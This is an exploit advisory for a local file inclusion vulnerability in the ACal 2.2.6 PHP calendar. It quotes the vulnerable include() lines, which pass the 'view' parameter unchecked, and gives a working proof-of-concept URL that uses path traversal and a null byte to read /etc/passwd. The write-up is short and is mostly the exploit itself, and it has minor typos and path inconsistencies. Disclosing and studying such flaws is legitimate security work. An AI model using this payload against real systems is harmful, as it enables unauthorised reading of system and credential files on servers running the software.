Exploit Title: ACal 2.2.6 Local File Inclusion Vulneberality
Google Dork: -
Date: 15/08/2013
Exploit Author: ICheer_No0M - http://icheernoom.blogspot.com/
Vendor Homepage: http://acalproj.sourceforge.net/
Software Link: http://prdownloads.sourceforge.net/acalproj/ACal-2.2.6.tar.gz?download
Version: 2.2.6
Tested on: Windows 7 + PHP 5.2.6
 
 
---> Vuln Code : /embled/example/example.php
    
12. $path = "../../";
...
25. if (!isset($_GET['view'])) {
26.     include $path . 'embed/' . $view . '.php'; // <-- LFI + Nullbyte (if register_global = On)
27. }
28. else {
29.     include $path . 'embed/' . $_GET['view'] . '.php'; // <-- LFI + Nullbyte
30. }
     
---> Exploit/Proof of Concept (PoC)
  
http://localhost/calendar/embed/example/example.php?view=../../etc/passwd%00